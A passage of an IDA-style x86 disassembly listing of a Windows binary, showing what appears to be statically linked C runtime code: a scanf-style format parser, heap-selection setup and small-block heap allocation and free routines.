sub_40DF72+87Cj mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 4 loc_40E807: ; CODE XREF: sub_40DF72+888j test eax, eax jz short loc_40E881 cmp esi, 6Fh jnz short loc_40E81A cmp ebx, 38h jge short loc_40E881 shl edi, 3 jmp short loc_40E859 ; --------------------------------------------------------------------------- loc_40E81A: ; CODE XREF: sub_40DF72+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_40E859 ; --------------------------------------------------------------------------- loc_40E821: ; CODE XREF: sub_40DF72+86Ej ; sub_40DF72+873j cmp dword_41FF84, 1 jle short loc_40E839 push 80h push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40E846 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40DF72+8B6j mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 80h loc_40E846: ; CODE XREF: sub_40DF72+8C5j test eax, eax jz short loc_40E881 push ebx shl edi, 4 call sub_40E997 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_40E859: ; CODE XREF: sub_40DF72+8A6j ; sub_40DF72+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_40E86B dec [ebp+var_C] jz short loc_40E88F loc_40E86B: ; CODE XREF: sub_40DF72+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_40E9CE mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_40E7DD ; --------------------------------------------------------------------------- loc_40E881: ; CODE XREF: sub_40DF72+897j ; sub_40DF72+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_40E9E8 pop ecx pop ecx loc_40E88F: ; CODE XREF: sub_40DF72+865j ; sub_40DF72+8F7j cmp [ebp+var_17], 0 jz short loc_40E897 neg edi loc_40E897: ; CODE XREF: sub_40DF72+843j ; sub_40DF72+85Cj ... cmp esi, 46h jnz short loc_40E8A0 and [ebp+var_1C], 0 loc_40E8A0: ; CODE XREF: sub_40DF72+928j cmp [ebp+var_1C], 0 jz loc_40E978 cmp [ebp+var_E], 0 jnz short loc_40E8D9 inc [ebp+var_34] loc_40E8B3: ; CODE XREF: sub_40DF72+23Bj cmp [ebp+var_30], 0 jz short loc_40E8C9 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_40E8D9 ; --------------------------------------------------------------------------- loc_40E8C9: ; CODE XREF: sub_40DF72+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_40E8D6 mov [eax], edi jmp short loc_40E8D9 ; --------------------------------------------------------------------------- loc_40E8D6: ; CODE XREF: sub_40DF72+95Ej mov [eax], di loc_40E8D9: ; CODE XREF: sub_40DF72+241j ; sub_40DF72+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_40E926 ; --------------------------------------------------------------------------- loc_40E8E4: ; CODE XREF: sub_40DF72+93j inc [ebp+var_4] push edi call sub_40E9CE mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_40E953 mov ecx, off_41FD78 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_40E926 inc [ebp+var_4] push edi call sub_40E9CE pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_40E961 dec [ebp+var_4] loc_40E926: ; CODE XREF: sub_40DF72+970j ; sub_40DF72+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_40E93C cmp byte ptr [esi], 25h jnz short loc_40E97E mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_40E97E mov esi, eax loc_40E93C: ; CODE XREF: sub_40DF72+9B8j mov al, [esi] test al, al jnz loc_40DF9C jmp short loc_40E978 ; --------------------------------------------------------------------------- loc_40E948: ; CODE XREF: sub_40DF72+1F4j ; sub_40DF72+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_40E958 ; --------------------------------------------------------------------------- loc_40E953: ; CODE XREF: sub_40DF72+98Aj dec [ebp+var_4] push edi push ebx loc_40E958: ; CODE XREF: sub_40DF72+9DFj call sub_40E9E8 pop ecx pop ecx jmp short loc_40E978 ; --------------------------------------------------------------------------- loc_40E961: ; CODE XREF: sub_40DF72+9AFj dec [ebp+var_4] push edi push eax call sub_40E9E8 dec [ebp+var_4] push edi push ebx call sub_40E9E8 add esp, 10h loc_40E978: ; CODE XREF: sub_40DF72+1Fj ; sub_40DF72+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_40E98F loc_40E97E: ; CODE XREF: sub_40DF72+9BDj ; sub_40DF72+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_40E992 cmp [ebp+var_15], al jnz short loc_40E992 or eax, 0FFFFFFFFh jmp short loc_40E992 ; --------------------------------------------------------------------------- loc_40E98F: ; CODE XREF: sub_40DF72+A0Aj mov eax, [ebp+var_34] loc_40E992: ; CODE XREF: sub_40DF72+A11j ; sub_40DF72+A16j ... pop edi pop esi pop ebx leave retn sub_40DF72 endp ; =============== S U B R O U T I N E ======================================= sub_40E997 proc near ; CODE XREF: sub_40DF72+7A3p ; sub_40DF72+8DCp arg_0 = dword ptr 4 cmp dword_41FF84, 1 push esi jle short loc_40E9B1 mov esi, [esp+4+arg_0] push 4 push esi call sub_4114D9 pop ecx pop ecx jmp short loc_40E9C0 ; --------------------------------------------------------------------------- loc_40E9B1: ; CODE XREF: sub_40E997+8j mov esi, [esp+4+arg_0] mov eax, off_41FD78 mov al, [eax+esi*2] and eax, 4 loc_40E9C0: ; CODE XREF: sub_40E997+18j test eax, eax jnz short loc_40E9CA and esi, 0FFFFFFDFh sub esi, 7 loc_40E9CA: ; CODE XREF: sub_40E997+2Bj mov eax, esi pop esi retn sub_40E997 endp ; =============== S U B R O U T I N E ======================================= sub_40E9CE proc near ; CODE XREF: sub_40DF72+1E1p ; sub_40DF72+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_40E9E0 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_40E9E0: ; CODE XREF: sub_40E9CE+7j push edx call sub_41176F pop ecx retn sub_40E9CE endp ; =============== S U B R O U T I N E ======================================= sub_40E9E8 proc near ; CODE XREF: sub_40DF72+6Bp ; sub_40DF72+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_40E9FE push [esp+arg_4] push [esp+4+arg_0] call sub_4135DF pop ecx pop ecx locret_40E9FE: ; CODE XREF: sub_40E9E8+5j retn sub_40E9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40E9FF proc near ; CODE XREF: sub_40DF72+63p ; sub_40DF72+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_40EA05: ; CODE XREF: sub_40E9FF+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_40E9CE mov edi, eax push edi call sub_413590 pop ecx test eax, eax pop ecx jnz short loc_40EA05 mov eax, edi pop edi pop esi retn sub_40E9FF endp ; =============== S U B R O U T I N E ======================================= sub_40EA23 proc near ; CODE XREF: sub_40B6D1+1Fp ; sub_40C4F8+126p ... arg_0 = dword ptr 4 mov eax, dword_47F970 test eax, eax jz short loc_40EA3B push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_40EA3B push 1 pop eax retn ; --------------------------------------------------------------------------- loc_40EA3B: ; CODE XREF: sub_40EA23+7j ; sub_40EA23+12j xor eax, eax retn sub_40EA23 endp ; =============== S U B R O U T I N E ======================================= sub_40EA3E proc near ; CODE XREF: sub_40EA6B+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_41708C ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_40EA69 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_40EA69 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_40EA69: ; CODE XREF: sub_40EA3E+15j ; sub_40EA3E+1Cj pop esi retn sub_40EA3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA6B proc near ; CODE XREF: sub_40EBB3+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_40B690 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_417000 ; GetVersionExA test eax, eax jz short loc_40EAAE cmp [ebp+var_88], 2 jnz short loc_40EAAE cmp [ebp+var_94], 5 jb short loc_40EAAE push 1 pop eax jmp loc_40EBB0 ; --------------------------------------------------------------------------- loc_40EAAE: ; CODE XREF: sub_40EA6B+27j ; sub_40EA6B+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_417128 ; GetEnvironmentVariableA test eax, eax jz loc_40EB9D xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_40EAF0 loc_40EADD: ; CODE XREF: sub_40EA6B+83j mov al, [ecx] cmp al, 61h jl short loc_40EAEB cmp al, 7Ah jg short loc_40EAEB sub al, 20h mov [ecx], al loc_40EAEB: ; CODE XREF: sub_40EA6B+76j ; sub_40EA6B+7Aj inc ecx cmp [ecx], bl jnz short loc_40EADD loc_40EAF0: ; CODE XREF: sub_40EA6B+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_40D450 add esp, 0Ch test eax, eax jnz short loc_40EB12 lea eax, [ebp+var_122C] jmp short loc_40EB5B ; --------------------------------------------------------------------------- loc_40EB12: ; CODE XREF: sub_40EA6B+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_41704C ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_40EB46 loc_40EB33: ; CODE XREF: sub_40EA6B+D9j mov al, [ecx] cmp al, 61h jl short loc_40EB41 cmp al, 7Ah jg short loc_40EB41 sub al, 20h mov [ecx], al loc_40EB41: ; CODE XREF: sub_40EA6B+CCj ; sub_40EA6B+D0j inc ecx cmp [ecx], bl jnz short loc_40EB33 loc_40EB46: ; CODE XREF: sub_40EA6B+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_40CE60 pop ecx pop ecx loc_40EB5B: ; CODE XREF: sub_40EA6B+A5j cmp eax, ebx jz short loc_40EB9D push 2Ch push eax call sub_40CFC0 pop ecx cmp eax, ebx pop ecx jz short loc_40EB9D inc eax mov ecx, eax cmp [eax], bl jz short loc_40EB82 loc_40EB74: ; CODE XREF: sub_40EA6B+115j cmp byte ptr [ecx], 3Bh jnz short loc_40EB7D mov [ecx], bl jmp short loc_40EB7E ; --------------------------------------------------------------------------- loc_40EB7D: ; CODE XREF: sub_40EA6B+10Cj inc ecx loc_40EB7E: ; CODE XREF: sub_40EA6B+110j cmp [ecx], bl jnz short loc_40EB74 loc_40EB82: ; CODE XREF: sub_40EA6B+107j push 0Ah push ebx push eax call sub_40CA5C add esp, 0Ch cmp eax, 2 jz short loc_40EBB0 cmp eax, 3 jz short loc_40EBB0 cmp eax, 1 jz short loc_40EBB0 loc_40EB9D: ; CODE XREF: sub_40EA6B+5Cj ; sub_40EA6B+F2j ... lea eax, [ebp+var_4] push eax call sub_40EA3E cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_40EBB0: ; CODE XREF: sub_40EA6B+3Ej ; sub_40EA6B+126j ... pop ebx leave retn sub_40EA6B endp ; =============== S U B R O U T I N E ======================================= sub_40EBB3 proc near ; CODE XREF: sub_40D514+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_417130 ; HeapCreate test eax, eax mov dword_480F84, eax jz short loc_40EC09 call sub_40EA6B cmp eax, 3 mov dword_480F88, eax jnz short loc_40EBEF push 3F8h call sub_40EC10 pop ecx jmp short loc_40EBF9 ; --------------------------------------------------------------------------- loc_40EBEF: ; CODE XREF: sub_40EBB3+2Dj cmp eax, 2 jnz short loc_40EC0C call sub_40F757 loc_40EBF9: ; CODE XREF: sub_40EBB3+3Aj test eax, eax jnz short loc_40EC0C push dword_480F84 call dword_41712C ; HeapDestroy loc_40EC09: ; CODE XREF: sub_40EBB3+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_40EC0C: ; CODE XREF: sub_40EBB3+3Fj ; sub_40EBB3+48j push 1 pop eax retn sub_40EBB3 endp ; =============== S U B R O U T I N E ======================================= sub_40EC10 proc near ; CODE XREF: sub_40EBB3+34p arg_0 = dword ptr 4 push 140h push 0 push dword_480F84 call dword_417104 ; RtlAllocateHeap test eax, eax mov dword_480F7C, eax jnz short loc_40EC2D retn ; --------------------------------------------------------------------------- loc_40EC2D: ; CODE XREF: sub_40EC10+1Aj mov ecx, [esp+arg_0] and dword_480F74, 0 and dword_480F78, 0 push 1 mov dword_480F70, eax mov dword_480F80, ecx mov dword_480F68, 10h pop eax retn sub_40EC10 endp ; =============== S U B R O U T I N E ======================================= sub_40EC58 proc near ; CODE XREF: sub_40B771+17p ; sub_40C4F8+4Cp ... arg_0 = dword ptr 4 mov eax, dword_480F78 lea ecx, [eax+eax*4] mov eax, dword_480F7C lea ecx, [eax+ecx*4] loc_40EC68: ; CODE XREF: sub_40EC58+26j cmp eax, ecx jnb short loc_40EC80 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_40EC82 add eax, 14h jmp short loc_40EC68 ; --------------------------------------------------------------------------- loc_40EC80: ; CODE XREF: sub_40EC58+12j xor eax, eax locret_40EC82: ; CODE XREF: sub_40EC58+21j retn sub_40EC58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC83 proc near ; CODE XREF: sub_40B771+23p ; sub_40C4F8+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_40EFA7 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_40ED59 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_40ECE7 push 3Fh pop edx loc_40ECE7: ; CODE XREF: sub_40EC83+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_40ED3B cmp edx, 20h jnb short loc_40ED12 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_40ED33 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40ED33 ; --------------------------------------------------------------------------- loc_40ED12: ; CODE XREF: sub_40EC83+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40ED33 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40ED33: ; CODE XREF: sub_40EC83+86j ; sub_40EC83+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_40ED3E ; --------------------------------------------------------------------------- loc_40ED3B: ; CODE XREF: sub_40EC83+6Aj mov ecx, [ebp+var_4] loc_40ED3E: ; CODE XREF: sub_40EC83+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_40ED59: ; CODE XREF: sub_40EC83+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_40ED67 push 3Fh pop edx loc_40ED67: ; CODE XREF: sub_40EC83+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_40EE0A sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_40ED8C mov ebx, esi loc_40ED8C: ; CODE XREF: sub_40EC83+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_40ED9E mov edx, esi loc_40ED9E: ; CODE XREF: sub_40EC83+117j cmp ebx, edx jz short loc_40EE05 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_40EDED cmp ebx, 20h jnb short loc_40EDCE mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_40EDED mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_40EDED ; --------------------------------------------------------------------------- loc_40EDCE: ; CODE XREF: sub_40EC83+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_40EDED mov ecx, [ebp+arg_0] and [ecx+4], esi loc_40EDED: ; CODE XREF: sub_40EC83+128j ; sub_40EC83+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_40EE05: ; CODE XREF: sub_40EC83+11Dj mov esi, [ebp+arg_4] jmp short loc_40EE0D ; --------------------------------------------------------------------------- loc_40EE0A: ; CODE XREF: sub_40EC83+EDj mov ebx, [ebp+arg_0] loc_40EE0D: ; CODE XREF: sub_40EC83+185j cmp [ebp+var_C], 0 jnz short loc_40EE1B cmp ebx, edx jz loc_40EE9C loc_40EE1B: ; CODE XREF: sub_40EC83+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_40EE9C mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_40EE73 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40EE62 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40EE62: ; CODE XREF: sub_40EC83+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_40EE9C ; --------------------------------------------------------------------------- loc_40EE73: ; CODE XREF: sub_40EC83+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40EE89 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_40EE89: ; CODE XREF: sub_40EC83+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_40EE9C: ; CODE XREF: sub_40EC83+192j ; sub_40EC83+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_40EFA7 mov eax, dword_480F74 test eax, eax jz loc_40EF99 mov ecx, dword_480F6C mov esi, dword_417134 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_480F6C mov eax, dword_480F74 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_480F74 mov ecx, dword_480F6C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_480F74 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_480F74 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_40EF2A and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_480F74 loc_40EF2A: ; CODE XREF: sub_40EC83+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_40EF99 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_480F74 push dword ptr [eax+10h] push 0 push dword_480F84 call dword_417108 ; RtlFreeHeap mov eax, dword_480F78 mov edx, dword_480F7C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_480F74 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_40BE50 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_480F78 cmp eax, dword_480F74 jbe short loc_40EF8F sub [ebp+arg_0], 14h loc_40EF8F: ; CODE XREF: sub_40EC83+306j mov eax, dword_480F7C mov dword_480F70, eax loc_40EF99: ; CODE XREF: sub_40EC83+234j ; sub_40EC83+2ABj mov eax, [ebp+arg_0] mov dword_480F6C, edi mov dword_480F74, eax loc_40EFA7: ; CODE XREF: sub_40EC83+38j ; sub_40EC83+227j pop edi pop esi pop ebx leave retn sub_40EC83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EFAC proc near ; CODE XREF: sub_40B6FD+18p ; sub_40C4F8+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_480F78 mov edx, dword_480F7C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_40EFEC or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_40EFFC ; --------------------------------------------------------------------------- loc_40EFEC: ; CODE XREF: sub_40EFAC+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_40EFFC: ; CODE XREF: sub_40EFAC+3Ej mov eax, dword_480F70 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_40F023 loc_40F00A: ; CODE XREF: sub_40EFAC+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_40F023 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_40F00A loc_40F023: ; CODE XREF: sub_40EFAC+5Cj ; sub_40EFAC+6Aj cmp ebx, [ebp+var_4] jnz short loc_40F0A1 mov ebx, edx loc_40F02A: ; CODE XREF: sub_40EFAC+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_40F046 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_40F044 add ebx, 14h jmp short loc_40F02A ; --------------------------------------------------------------------------- loc_40F044: ; CODE XREF: sub_40EFAC+91j cmp ebx, eax loc_40F046: ; CODE XREF: sub_40EFAC+83j jnz short loc_40F0A1 loc_40F048: ; CODE XREF: sub_40EFAC+ADj cmp ebx, [ebp+var_4] jnb short loc_40F05E cmp dword ptr [ebx+8], 0 jnz short loc_40F05B add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_40F048 ; --------------------------------------------------------------------------- loc_40F05B: ; CODE XREF: sub_40EFAC+A5j cmp ebx, [ebp+var_4] loc_40F05E: ; CODE XREF: sub_40EFAC+9Fj jnz short loc_40F086 mov ebx, edx loc_40F062: ; CODE XREF: sub_40EFAC+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_40F076 cmp dword ptr [ebx+8], 0 jnz short loc_40F074 add ebx, 14h jmp short loc_40F062 ; --------------------------------------------------------------------------- loc_40F074: ; CODE XREF: sub_40EFAC+C1j cmp ebx, eax loc_40F076: ; CODE XREF: sub_40EFAC+BBj jnz short loc_40F086 call sub_40F2B5 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_40F09A loc_40F086: ; CODE XREF: sub_40EFAC:loc_40F05Ej ; sub_40EFAC:loc_40F076j push ebx call sub_40F366 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_40F0A1 loc_40F09A: ; CODE XREF: sub_40EFAC+D8j xor eax, eax jmp loc_40F2B0 ; --------------------------------------------------------------------------- loc_40F0A1: ; CODE XREF: sub_40EFAC+7Aj ; sub_40EFAC:loc_40F046j ... mov dword_480F70, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_40F0C8 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_40F0FF loc_40F0C8: ; CODE XREF: sub_40EFAC+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_40F0FC loc_40F0E5: ; CODE XREF: sub_40EFAC+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_40F0E5 loc_40F0FC: ; CODE XREF: sub_40EFAC+137j mov edx, [ebp+var_4] loc_40F0FF: ; CODE XREF: sub_40EFAC+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_40F128 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_40F128: ; CODE XREF: sub_40EFAC+16Dj ; sub_40EFAC+183j test ecx, ecx jl short loc_40F131 shl ecx, 1 inc edi jmp short loc_40F128 ; --------------------------------------------------------------------------- loc_40F131: ; CODE XREF: sub_40EFAC+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_40F14E push 3Fh pop esi loc_40F14E: ; CODE XREF: sub_40EFAC+19Dj cmp esi, edi jz loc_40F263 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_40F1BF cmp edi, 20h jge short loc_40F18E mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_40F1BC mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_40F1BF ; --------------------------------------------------------------------------- loc_40F18E: ; CODE XREF: sub_40EFAC+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_40F1BC mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_40F1BF ; --------------------------------------------------------------------------- loc_40F1BC: ; CODE XREF: sub_40EFAC+1D6j ; sub_40EFAC+203j mov ebx, [ebp+arg_0] loc_40F1BF: ; CODE XREF: sub_40EFAC+1B0j ; sub_40EFAC+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_40F26F mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_40F260 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_40F231 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_40F21F mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_40F21F: ; CODE XREF: sub_40EFAC+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_40F260 ; --------------------------------------------------------------------------- loc_40F231: ; CODE XREF: sub_40EFAC+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_40F24A lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_40F24A: ; CODE 